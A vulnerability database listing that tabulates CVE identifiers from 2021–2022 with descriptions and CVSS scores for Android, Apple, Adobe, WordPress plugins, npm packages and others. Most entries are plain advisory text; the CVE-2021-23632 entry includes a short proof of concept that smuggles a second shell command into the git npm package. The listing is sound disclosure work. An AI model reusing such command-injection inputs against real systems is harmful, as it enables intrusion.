CVE-2022-24764	PJSIP is a free and open source multimedia communication library written in C. Versions 2.12 and prior contain a stack buffer overflow vulnerability that affects PJSUA2 users or users that call the API `pjmedia_sdp_print(), pjmedia_sdp_media_print()`. Applications that do not use PJSUA2 and do not directly call `pjmedia_sdp_print()` or `pjmedia_sdp_media_print()` should not be affected. A patch is available on the `master` branch of the `pjsip/pjproject` GitHub repository. There are currently no known workarounds.	7.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2021-39716	Product: AndroidVersions: Android kernelAndroid ID: A-206977562References: N/A	7.5	More Details
CVE-2022-22609	The issue was addressed with additional permissions checks. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3, watchOS 8.5. A malicious application may be able to read other applications' settings.	7.5	More Details
CVE-2022-25462	Yafu v2.0 contains a segmentation fault via the component /factor/avx-ecm/vecarith52.c. This vulnerability allows attackers to cause a Denial of Service (DoS) via unspecified vectors.	7.5	More Details
CVE-2022-22643	This issue was addressed with improved checks. This issue is fixed in iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3. A user may send audio and video in a FaceTime call without knowing that they have done so.	7.5	More Details
CVE-2021-42219	Go-Ethereum v1.10.9 was discovered to contain an issue which allows attackers to cause a denial of service (DoS) via sending an excessive amount of messages to a node. This is caused by missing memory in the component /ethash/algorithm.go.	7.5	More Details
CVE-2022-26300	EOS v2.1.0 was discovered to contain a heap-buffer-overflow via the function txn_test_gen_plugin.	7.5	More Details
CVE-2022-26534	FISCO-BCOS release-3.0.0-rc2 was discovered to contain an issue where a malicious node, via a malicious viewchange packet, will cause normal nodes to change view excessively and stop generating blocks.	7.5	More Details
CVE-2021-43957	Affected versions of Atlassian Fisheye & Crucible allowed remote attackers to browse local files via an Insecure Direct Object References (IDOR) vulnerability in the WEB-INF directory and bypass the fix for CVE-2020-29446 due to a lack of url decoding. The affected versions are before version 4.8.9.	7.5	More Details
CVE-2022-25514	stb_truetype.h v1.26 was discovered to contain a heap-buffer-overflow via the function ttUSHORT() at stb_truetype.h. NOTE: Third party has disputed stating that the source code has also a disclaimer that it should only be used with trusted input.	7.5	More Details
CVE-2022-23352	An issue in BigAnt Software BigAnt Server v5.6.06 can lead to a Denial of Service (DoS).	7.5	More Details
CVE-2022-22651	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in macOS Monterey 12.3. A remote attacker may be able to cause unexpected system termination or corrupt kernel memory.	7.5	More Details
CVE-2022-24775	guzzlehttp/psr7 is a PSR-7 HTTP message library. Versions prior to 1.8.4 and 2.1.1 are vulnerable to improper header parsing. An attacker could sneak in a new line character and pass untrusted values. The issue is patched in 1.8.4 and 2.1.1. There are currently no known workarounds.	7.5	More Details
CVE-2022-0918	A vulnerability was discovered in the 389 Directory Server that allows an unauthenticated attacker with network access to the LDAP port to cause a denial of service. The denial of service is triggered by a single message sent over a TCP connection, no bind or other authentication is required. The message triggers a segmentation fault that results in slapd crashing.	7.5	More Details
CVE-2022-23345	BigAnt Software BigAnt Server v5.6.06 was discovered to contain incorrect access control.	7.5	More Details
CVE-2021-45851	A Server-Side Request Forgery (SSRF) attack in FUXA 1.1.3 can be carried out leading to the obtaining of sensitive information from the server's internal environment and services, often potentially leading to the attacker executing commands on the server.	7.5	More Details
CVE-2022-26267	Piwigo v12.2.0 was discovered to contain an information leak via the action parameter in /admin/maintenance_actions.php.	7.5	More Details
CVE-2021-4031	Syltek application before its 10.22.00 version, does not correctly check that a product ID has a valid payment associated to it. This could allow an attacker to forge a request and bypass the payment system by marking items as payed without any verification.	7.5	More Details
CVE-2022-25252	When connecting to a certain port Axeda agent (All versions) and Axeda Desktop Server for Windows (All versions) when receiving certain input throws an exception. Services using said function do not handle the exception. Successful exploitation of this vulnerability could allow a remote unauthenticated attacker to crash the affected product.	7.5	More Details
CVE-2022-0749	This affects all versions of package SinGooCMS.Utility. The socket client in the package can pass in the payload via the user-controllable input after it has been established, because this socket client transmission does not have the appropriate restrictions or type bindings for the BinaryFormatter.	7.4	More Details
CVE-2022-26965	In Pluck 4.7.16, an admin user can use the theme upload functionality at /admin.php?action=themeinstall to perform remote code execution.	7.2	More Details
CVE-2021-42194	The wechat_return function in /controller/Index.php of EyouCms V1.5.4-UTF8-SP3 passes the user's input directly into the simplexml_ load_ String function, which itself does not prohibit external entities, triggering a XML external entity (XXE) injection vulnerability.	7.2	More Details
CVE-2022-1034	There is a Unrestricted Upload of File vulnerability in ShowDoc v2.10.3 in GitHub repository star7th/showdoc prior to 2.10.4.	7.2	More Details
CVE-2022-22625	An out-of-bounds read was addressed with improved input validation. This issue is fixed in macOS Big Sur 11.6.5, macOS Monterey 12.3, Security Update 2022-003 Catalina. Processing a maliciously crafted AppleScript binary may result in unexpected application termination or disclosure of process memory.	7.1	More Details
CVE-2022-22626	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Big Sur 11.6.5, macOS Monterey 12.3, Security Update 2022-003 Catalina. Processing a maliciously crafted AppleScript binary may result in unexpected application termination or disclosure of process memory.	7.1	More Details

CVE Number	Description	Base Score	Reference
CVE-2022-0991	Insufficient Session Expiration in GitHub repository admidio/admidio prior to 4.1.9.	7.1	More Details
CVE-2022-22627	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Big Sur 11.6.5, macOS Monterey 12.3, Security Update 2022-003 Catalina. Processing a maliciously crafted AppleScript binary may result in unexpected application termination or disclosure of process memory.	7.1	More Details
CVE-2022-25760	All versions of package accesslog are vulnerable to Arbitrary Code Injection due to the usage of the Function constructor without input sanitization. If (attacker-controlled) user input is given to the format option of the package's exported constructor function, it is possible for an attacker to execute arbitrary JavaScript code on the host that this package is being run on.	7.1	More Details
CVE-2022-24073	The Web Request API in Whale browser before 3.12.129.18 allowed to deny access to the extension store or redirect to any URL when users access the store.	7.1	More Details
CVE-2022-24774	CycloneDX BOM Repository Server is a bill of materials (BOM) repository server for distributing CycloneDX BOMs. CycloneDX BOM Repository Server before version 2.0.1 has an improper input validation vulnerability leading to path traversal. A malicious user may potentially exploit this vulnerability to create arbitrary directories or a denial of service by deleting arbitrary directories. The vulnerability is resolved in version 2.0.1. The vulnerability is not exploitable with the default configuration with the post and delete methods disabled. This can be configured by modifying the `appsettings.json` file, or alternatively, setting the environment variables `ALLOWEDMETHODS__POST` and `ALLOWEDMETHODS__DELETE` to `false`.	7.1	More Details
CVE-2021-39713	Product: AndroidVersions: Android kernelAndroid ID: A-173788806References: Upstream kernel	7.0	More Details
CVE-2021-39686	In several functions of binder.c, there is a possible way to represent the wrong domain to SELinux due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-200688826References: Upstream kernel	7.0	More Details
CVE-2021-46390	An access control issue in the authentication module of Lexar_F35 v1.0.34 allows attackers to access sensitive data and cause a Denial of Service (DoS). An attacker without access to securely protected data on a secure USB flash drive can bypass user authentication without having any information related to the password of the registered user. The secure USB flash drive transmits the password entered by the user to the authentication module in the drive after the user registers a password, and then the input password is compared with the registered password stored in the authentication module. Subsequently, the module returns the comparison result for the authentication decision. Therefore, an attacker can bypass password authentication by analyzing the functions that return the password verification or comparison results and manipulate the authentication result values. Accordingly, even if attackers enter an incorrect password, they can be authenticated as a legitimate user and can therefore exploit functions of the secure USB flash drive by manipulating the authentication result values.	6.8	More Details
CVE-2021-38745	Chamilo LMS v1.11.14 was discovered to contain a zero click code injection vulnerability which allows attackers to execute arbitrary code via a crafted plugin. This vulnerability is triggered through user interaction with the attacker's profile page.	6.8	More Details
CVE-2021-39689	In multiple functions of odsign_main.cpp, there is a possible way to persist system attack due to a logic error in the code. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-12Android ID: A-206090748	6.7	More Details
CVE-2021-39736	In prepare_io_entry and prepare_response of lwis_ioctl.c and lwis_periodic_io.c, there is a possible out of bounds write due to an integer overflow. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-205995773References: N/A	6.7	More Details
CVE-2021-39733	In amcs_cdev_unlocked_ioctl of audiometrics.c, there is a possible out of bounds write due to improper input validation. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-206128522References: N/A	6.7	More Details
CVE-2020-25182	Rockwell Automation ISaGRAF Runtime Versions 4.x and 5.x searches for and loads DLLs as dynamic libraries. Uncontrolled loading of dynamic libraries could allow a local, unauthenticated attacker to execute arbitrary code. This vulnerability only affects ISaGRAF Runtime when running on Microsoft Windows systems.	6.7	More Details
CVE-2021-39731	In ProtocolStkProactiveCommandAdapter::Init of protocolstkadapter.cpp, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-205036834References: N/A	6.7	More Details
CVE-2021-39729	In the TitanM chip, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-202006191References: N/A	6.7	More Details
CVE-2021-39718	In ProtocolStkProactiveCommandAdapter::Init of protocolstkadapter.cpp, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-205035540References: N/A	6.7	More Details
CVE-2021-39719	In lwis_top_register_io of lwis_device_top.c, there is a possible out of bounds write due to an integer overflow. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-205995178References: N/A	6.7	More Details
CVE-2021-39721	In TBD of TBD, there is a possible out of bounds write due to memory corruption. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-195726151References: N/A	6.7	More Details

CVE Number	Description	Base Score	Reference
CVE-2021-39725	In gasket_free_coherent_memory_all of gasket_page_table.c, there is a possible memory corruption due to a double free. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-151454974References: N/A	6.7	More Details
CVE-2022-25607	Authenticated (author or higher user role) SQL Injection (SQLi) vulnerability discovered in FV Flowplayer Video Player WordPress plugin (versions <= 7.5.15.727).	6.6	More Details
CVE-2021-23632	All versions of package git are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands. Steps to Reproduce 1. Create a file named exploit.js with the following content: js var Git = require("git").Git; var repo = new Git("repo-test"); var user_input = "version; date"; repo.git(user_input, function(err, result) { console.log(result); }) 2. In the same directory as exploit.js, run npm install git. 3. Run exploit.js: node exploit.js. You should see the outputs of both the git version and date command-lines. Note that the repo-test Git repository does not need to be present to make this PoC work.	6.6	More Details
CVE-2022-22592	A logic issue was addressed with improved state management. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Safari 15.3, macOS Monterey 12.2. Processing maliciously crafted web content may prevent Content Security Policy from being enforced.	6.5	More Details
CVE-2022-22594	A cross-origin issue in the IndexDB API was addressed with improved input validation. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Safari 15.3, macOS Monterey 12.2. A website may be able to track sensitive user information.	6.5	More Details
CVE-2022-22638	A null pointer dereference was addressed with improved validation. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, Security Update 2022-003 Catalina, watchOS 8.5, macOS Monterey 12.3. An attacker in a privileged position may be able to perform a denial of service attack.	6.5	More Details
CVE-2022-25518	In CMDBuild from version 3.0 to 3.3.2 payload requests are saved in a temporary log table, which allows attackers with database access to read the password of the users who login to the application by querying the database table.	6.5	More Details
CVE-2022-22659	A logic issue was addressed with improved state management. This issue is fixed in iOS 15.4 and iPadOS 15.4. An attacker in a privileged network position may be able to leak sensitive user information.	6.5	More Details
CVE-2022-24075	Whale browser before 3.12.129.18 allowed extensions to replace JavaScript files of the HWP viewer website which could access to local HWP files. When the HWP files were opened, the replaced script could read the files.	6.5	More Details
CVE-2021-45117	The OPC autogenerated ANSI C stack stubs (in the NodeSets) do not handle all error cases. This can lead to a NULL pointer dereference.	6.5	More Details
CVE-2022-25570	In Click Studios (SA) Pty Ltd Passwordstate 9435, users with access to a passwordlist can gain access to additional password lists without permissions. Specifically, an authenticated user who has write permissions to a password list in one folder (with the default permission model) can extend his permissions to all other password lists in the same folder.	6.5	More Details
CVE-2022-0681	The Simple Membership WordPress plugin before 4.1.0 does not have CSRF check in place when deleting Transactions, which could allow attackers to make a logged in admin delete arbitrary transactions via a CSRF attack	6.5	More Details
CVE-2022-0959	A malicious, but authorised and authenticated user can construct an HTTP request using their existing CSRF token and session cookie to manually upload files to any location that the operating system user account under which pgAdmin is running has permission to write.	6.5	More Details
CVE-2022-24729	CKEditor4 is an open source what-you-see-is-what-you-get HTML editor. CKEditor4 prior to version 4.18.0 contains a vulnerability in the `dialog` plugin. The vulnerability allows abuse of a dialog input validator regular expression, which can cause a significant performance drop resulting in a browser tab freeze. A patch is available in version 4.18.0. There are currently no known workarounds.	6.5	More Details
CVE-2022-25515	stb_truetype.h v1.26 was discovered to contain a heap-buffer-overflow via the function ttULONG() at stb_truetype.h. NOTE: Third party has disputed stating that the source code has also a disclaimer that it should only be used with trusted input.	6.5	More Details
CVE-2021-39667	In ih264d_parse_decode_slice of ih264d_parse_slice.c, there is a possible out of bounds write due to a heap buffer overflow. This could lead to remote information disclosure with no additional execution privileges needed. User interaction is needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-12Android ID: A-205702093	6.5	More Details
CVE-2022-25516	stb_truetype.h v1.26 was discovered to contain a heap-buffer-overflow via the function stbtt__find_table at stb_truetype.h. NOTE: Third party has disputed stating that the source code has also a disclaimer that it should only be used with trusted input.	6.5	More Details
CVE-2021-20257	An infinite loop flaw was found in the e1000 NIC emulator of the QEMU. This issue occurs while processing transmits (tx) descriptors in process_tx_desc if various descriptor fields are initialized with invalid values. This flaw allows a guest to consume CPU cycles on the host, resulting in a denial of service. The highest threat from this vulnerability is to system availability.	6.5	More Details
CVE-2022-0514	Business Logic Errors in GitHub repository crater-invoice/crater prior to 6.0.5.	6.5	More Details
CVE-2021-27789	The Web application of Brocade Fabric OS before versions Brocade Fabric OS v9.0.1a and v8.2.3a contains debug statements that expose sensitive information to the program's standard output device. An attacker who has compromised the FOS system may utilize this weakness to capture sensitive information, such as user credentials.	6.5	More Details
CVE-2020-15388	A vulnerability in the Brocade Fabric OS before Brocade Fabric OS v9.0.1a, v8.2.3, v8.2.0_CBN4, and v7.4.2h could allow an authenticated CLI user to abuse the history command to write arbitrary content to files.	6.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2021-29899	IBM Engineering Requirements Quality Assistant prior to 3.1.3 could allow an authenticated user to cause a denial of service. IBM X-Force ID: 207413.	6.5	More Details
CVE-2022-27225	Gradle Enterprise before 2021.4.3 relies on cleartext data transmission in some situations. It uses Keycloak for identity management services. During the sign-in process, Keycloak sets browser cookies that effectively provide remember-me functionality. For backwards compatibility with older Safari versions, Keycloak sets a duplicate of the cookie without the Secure attribute, which allows the cookie to be sent when accessing the location that cookie is set for via HTTP. This creates the potential for an attacker (with the ability to impersonate the Gradle Enterprise host) to capture the login session of a user by having them click an http:// link to the server, despite the real server requiring HTTPS.	6.5	More Details
CVE-2021-23771	This affects all versions of package notevil; all versions of package argencoders-notevil. It is vulnerable to Sandbox Escape leading to Prototype pollution. The package fails to restrict access to the main context, allowing an attacker to add or modify an object's prototype. **Note:** This vulnerability derives from an incomplete fix in [SNYK-JS-NOTEVIL-608878] (https://security.snyk.io/vuln/SNYK-JS-NOTEVIL-608878).	6.5	More Details
CVE-2021-39712	In TBD of TBD, there is a possible user after free vulnerability due to a race condition. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-176918884References: N/A	6.4	More Details
CVE-2021-36100	Specially crafted string in OTRS system configuration can allow the execution of any system command.	6.4	More Details
CVE-2021-23556	The package guake before 3.8.5 are vulnerable to Exposed Dangerous Method or Function due to the exposure of execute_command and execute_command_by_uuid methods via the d-bus interface, which makes it possible for a malicious user to run an arbitrary command via the d-bus method. **Note:** Exploitation requires the user to have installed another malicious program that will be able to send dbus signals or run terminal commands.	6.4	More Details
CVE-2021-39735	In gasket_alloc_coherent_memory of gasket_page_table.c, there is a possible memory corruption due to a race condition. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-151455484References: N/A	6.4	More Details
CVE-2022-25296	The package bodymen from 0.0.0 are vulnerable to Prototype Pollution via the handler function which could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload. **Note:** This vulnerability derives from an incomplete fix to [CVE-2019-10792](https://security.snyk.io/vuln/SNYK-JS-BODYMEN-548897)	6.3	More Details
CVE-2021-43956	The jQuery deserialize library in Fisheye and Crucible before version 4.8.9 allowed remote attackers to to inject arbitrary HTML and/or JavaScript via a prototype pollution vulnerability.	6.1	More Details
CVE-2021-33961	A Cross Site Scripting (XSS) vulnerabililty exists in enhanced-github v5.0.11 via the file name parameter.	6.1	More Details
CVE-2021-42552	Cross-site Scripting (XSS) vulnerability in ArchivistaBox webclient allows an attacker to craft a malicious link, executing JavaScript in the context of a victim's browser. This issue affects all ArchivistaBox versions prior to 2022/I.	6.1	More Details
CVE-2022-0640	The Pricing Table Builder WordPress plugin before 1.1.5 does not sanitize and escape the postid parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting.	6.1	More Details
CVE-2022-0627	The Amelia WordPress plugin before 1.0.47 does not sanitize and escape the code parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting.	6.1	More Details
CVE-2022-0986	Reflected Cross-site Scripting (XSS) Vulnerability in GitHub repository hestiacp/hestiacp prior to 1.5.11.	6.1	More Details
CVE-2022-0628	The Mega Menu WordPress plugin before 3.0.8 does not sanitize and escape the _wpnonce parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting.	6.1	More Details
CVE-2022-24656	HexoEditor 1.1.8 is affected by Cross Site Scripting (XSS). By putting a common XSS payload in a markdown file, if opened with the app, will execute several times.	6.1	More Details
CVE-2021-25019	The SEO Plugin by Squirrly SEO WordPress plugin before 11.1.12 does not escape the type parameter before outputting it back in an attribute in an admin page, leading to a Reflected Cross-Site Scripting	6.1	More Details
CVE-2021-45822	A cross-site scripting vulnerability is present in Xbtit 3.1. The stored XSS vulnerability occurs because /ajaxchat/sendChatData.php does not properly validate the value of the "n" (POST) parameter. Through this vulnerability, an attacker is capable to execute malicious JavaScript code.	6.1	More Details
CVE-2022-22652	The GSMA authentication panel could be presented on the lock screen. The issue was resolved by requiring device unlock to interact with the GSMA authentication panel. This issue is fixed in iOS 15.4 and iPadOS 15.4. A person with physical access may be able to view and modify the carrier account information and settings from the lock screen.	6.1	More Details
CVE-2022-24072	The devtools API in Whale browser before 3.12.129.18 allowed extension developers to inject arbitrary JavaScript into the extension store web page via devtools.inspectedWindow, leading to extensions downloading and uploading when users open the developer tool.	6.1	More Details
CVE-2022-22589	A validation issue was addressed with improved input sanitization. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Safari 15.3, macOS Monterey 12.2. Processing a maliciously crafted mail message may lead to running arbitrary javascript.	6.1	More Details

CVE Number	Description	Base Score	Reference
CVE-2022-27246	An issue was discovered in MISP before 2.4.156. An SVG org logo (which may contain JavaScript) is not forbidden by default.	6.1	More Details
CVE-2022-26246	TMS v2.28.0 was discovered to contain a cross-site scripting (XSS) vulnerability in the component /TMS/admin/setting/mail/createorupdate.	6.1	More Details
CVE-2022-26247	TMS v2.28.0 contains an insecure permissions vulnerability via the component /TMS/admin/user/Update2. This vulnerability allows attackers to modify the administrator account and password.	5.9	More Details
CVE-2022-21221	The package github.com/valyala/fasthttp before 1.34.0 are vulnerable to Directory Traversal via the ServeFile function, due to improper sanitization. It is possible to be exploited by using a backslash %5c character in the path. **Note:** This security issue impacts Windows users only.	5.9	More Details
CVE-2022-24302	In Paramiko before 2.10.1, a race condition (between creation and chmod) in the write_private_key_file function could allow unauthorized information disclosure.	5.9	More Details
CVE-2022-1035	Segmentation Fault caused by MP4Box -lsr in GitHub repository gpac/gpac prior to 2.1.0-DEV.	5.5	More Details
CVE-2022-22660	This issue was addressed with a new entitlement. This issue is fixed in macOS Monterey 12.3. An app may be able to spoof system notifications and UI.	5.5	More Details
CVE-2022-22648	This issue was addressed with improved checks. This issue is fixed in macOS Big Sur 11.6.5, macOS Monterey 12.3, Security Update 2022-003 Catalina. An application may be able to read restricted memory.	5.5	More Details
CVE-2022-22644	A privacy issue existed in the handling of Contact cards. This was addressed with improved state management. This issue is fixed in macOS Monterey 12.3. A malicious application may be able to access information about a user's contacts.	5.5	More Details
CVE-2022-22650	This issue was addressed with improved checks. This issue is fixed in macOS Big Sur 11.6.5, macOS Monterey 12.3, Security Update 2022-003 Catalina. A plug-in may be able to inherit the application's permissions and access user data.	5.5	More Details
CVE-2022-25484	tcpprep v4.4.1 has a reachable assertion (assert(l2len > 0)) in packet2tree() at tree.c in tcpprep v4.4.1.	5.5	More Details
CVE-2021-45868	In the Linux kernel before 5.15.3, fs/quota/quota_tree.c does not validate the block number in the quota tree (on disk). This can, for example, lead to a kernel/locking/rwsem.c use-after-free if there is a corrupted quota file.	5.5	More Details
CVE-2021-40788	Adobe Premiere Elements 20210809.daily.2242976 (and earlier) is affected by a Null pointer dereference vulnerability when parsing a specially crafted file. An unauthenticated attacker could leverage this vulnerability to achieve an application denial-of-service in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	5.5	More Details
CVE-2021-39624	In PackageManager, there is a possible permanent denial of service due to resource exhaustion. This could lead to local denial of service with User execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-12 Android-12LAndroid ID: A-67862680	5.5	More Details
CVE-2021-42264	Adobe Premiere Pro 15.4.1 (and earlier) is affected by a Null pointer dereference vulnerability when parsing a specially crafted file. An unauthenticated attacker could leverage this vulnerability to achieve an application denial-of-service in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	5.5	More Details
CVE-2021-40737	Adobe Audition version 14.4 (and earlier) is affected by a Null pointer dereference vulnerability when parsing a specially crafted file. An unauthenticated attacker could leverage this vulnerability to achieve an application denial-of-service in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	5.5	More Details
CVE-2021-22571	A local attacker could read files from some other users' SA360 reports stored in the /tmp folder during staging process before the files are loaded in BigQuery. We recommend upgrading to version 1.0.3 or above.	5.5	More Details
CVE-2021-40742	Adobe Audition version 14.4 (and earlier) is affected by a Null pointer dereference vulnerability when parsing a specially crafted file. An unauthenticated attacker could leverage this vulnerability to achieve an application denial-of-service in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	5.5	More Details
CVE-2021-40750	Adobe Bridge version 11.1.1 (and earlier) is affected by a Null pointer dereference vulnerability when parsing a specially crafted file. An unauthenticated attacker could leverage this vulnerability to achieve an application denial-of-service in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	5.5	More Details
CVE-2022-0757	Rapid7 Nexpose versions 6.6.93 and earlier are susceptible to an SQL Injection vulnerability, whereby valid search operators are not defined. This lack of validation can allow a logged-in, authenticated attacker to manipulate the "ANY" and "OR" operators in the SearchCriteria and inject SQL code. This issue was fixed in Rapid7 Nexpose version 6.6.129.	5.5	More Details
CVE-2021-40762	Adobe Character Animator version 4.4 (and earlier) is affected by a Null pointer dereference vulnerability when parsing a specially crafted file. An unauthenticated attacker could leverage this vulnerability to achieve an application denial-of-service in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	5.5	More Details
CVE-2021-40768	Adobe Character Animator version 4.4 (and earlier) is affected by a Null pointer dereference vulnerability when parsing a specially crafted file. An unauthenticated attacker could leverage this vulnerability to achieve an application denial-of-service in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	5.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2021-40778	Adobe Media Encoder 15.4.1 (and earlier) is affected by a Null pointer dereference vulnerability when parsing a specially crafted file. An unauthenticated attacker could leverage this vulnerability to achieve an application denial-of-service in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	5.5	More Details
CVE-2021-40781	Adobe Media Encoder 15.4.1 (and earlier) is affected by a Null pointer dereference vulnerability when parsing a specially crafted file. An unauthenticated attacker could leverage this vulnerability to achieve an application denial-of-service in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	5.5	More Details
CVE-2021-40782	Adobe Media Encoder 15.4.1 (and earlier) is affected by a Null pointer dereference vulnerability when parsing a specially crafted file. An unauthenticated attacker could leverage this vulnerability to achieve an application denial-of-service in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	5.5	More Details
CVE-2021-40785	Adobe Premiere Elements 20210809.daily.2242976 (and earlier) is affected by a Null pointer dereference vulnerability when parsing a specially crafted file. An unauthenticated attacker could leverage this vulnerability to achieve an application denial-of-service in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	5.5	More Details
CVE-2021-40789	Adobe Premiere Elements 20210809.daily.2242976 (and earlier) is affected by a Null pointer dereference vulnerability when parsing a specially crafted file. An unauthenticated attacker could leverage this vulnerability to achieve an application denial-of-service in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	5.5	More Details
CVE-2021-40796	Adobe Premiere Pro 15.4.1 (and earlier) is affected by a Null pointer dereference vulnerability when parsing a specially crafted file. An unauthenticated attacker could leverage this vulnerability to achieve an application denial-of-service in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	5.5	More Details
CVE-2022-23234	SnapCenter versions prior to 4.5 are susceptible to a vulnerability which could allow a local authenticated attacker to discover plaintext HANA credentials.	5.5	More Details
CVE-2021-39690	In setDisplayPadding of WallpaperManagerService.java, there is a possible way to cause a persistent DoS due to improper input validation. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-12Android ID: A-204316511	5.5	More Details
CVE-2021-42263	Adobe Premiere Pro 15.4.1 (and earlier) is affected by a Null pointer dereference vulnerability when parsing a specially crafted file. An unauthenticated attacker could leverage this vulnerability to achieve an application denial-of-service in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	5.5	More Details
CVE-2022-22600	The issue was addressed with improved permissions logic. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3, watchOS 8.5. A malicious application may be able to bypass certain Privacy preferences.	5.5	More Details
CVE-2022-22588	A resource exhaustion issue was addressed with improved input validation. This issue is fixed in iOS 15.2.1 and iPadOS 15.2.1. Processing a maliciously crafted HomeKit accessory name may cause a denial of service.	5.5	More Details
CVE-2022-22583	A permissions issue was addressed with improved validation. This issue is fixed in Security Update 2022-001 Catalina, macOS Monterey 12.2, macOS Big Sur 11.6.3. An application may be able to access restricted files.	5.5	More Details
CVE-2021-20180	A flaw was found in ansible module where credentials are disclosed in the console log by default and not protected by the security feature when using the bitbucket_pipeline_variable module. This flaw allows an attacker to steal bitbucket_pipeline credentials. The highest threat from this vulnerability is to confidentiality.	5.5	More Details
CVE-2022-27090	Cscms Music Portal System v4.2 was discovered to contain a redirection vulnerability via the backurl parameter.	5.4	More Details
CVE-2021-23648	The package @braintree/sanitize-url before 6.0.0 are vulnerable to Cross-site Scripting (XSS) due to improper sanitization in sanitizeUrl function.	5.4	More Details
CVE-2022-26295	A stored cross-site scripting (XSS) vulnerability in /ptms/?page=user of Online Project Time Management System v1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the user name field.	5.4	More Details
CVE-2022-0704	Cross-site Scripting (XSS) - Stored in GitHub repository pimcore/pimcore prior to 10.4.0.	5.4	More Details
CVE-2022-0705	Cross-site Scripting (XSS) - Stored in GitHub repository pimcore/pimcore prior to 10.4.0.	5.4	More Details
CVE-2021-45787	There is a stored Cross Site Scripting (XSS) vulnerability in maccms v10 through adding videos. XSS code can be inserted at parameter positions including name and remarks.	5.4	More Details
CVE-2022-24751	Zulip is an open source group chat application. Starting with version 4.0 and prior to version 4.11, Zulip is vulnerable to a race condition during account deactivation, where a simultaneous access by the user being deactivated may, in rare cases, allow continued access by the deactivated user. A patch is available in version 4.11 on the 4.x branch and version 5.0-rc1 on the 5.x branch. Upgrading to a fixed version will, as a side effect, deactivate any cached sessions that may have been leaked through this bug. There are currently no known workarounds.	5.4	More Details
CVE-2022-0364	The Modern Events Calendar Lite WordPress plugin before 6.4.0 does not sanitize and escape some of the Hourly Schedule parameters which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2022-0423	The 3D FlipBook WordPress plugin before 1.12.1 does not have authorisation and CSRF checks when updating its settings, and does not have any sanitisation/escaping, allowing any authenticated users, such as subscriber to put Cross-Site Scripting payloads in all pages with a 3d flipbook.	5.4	More Details
CVE-2021-33853	A Cross-Site Scripting (XSS) attack can cause arbitrary code (javascript) to run in a user's browser while the browser is connected to a trusted website. As the vehicle for the attack, the application targets the users and not the application itself. Additionally, the XSS payload is executed when the user attempts to access any page of the CRM.	5.4	More Details
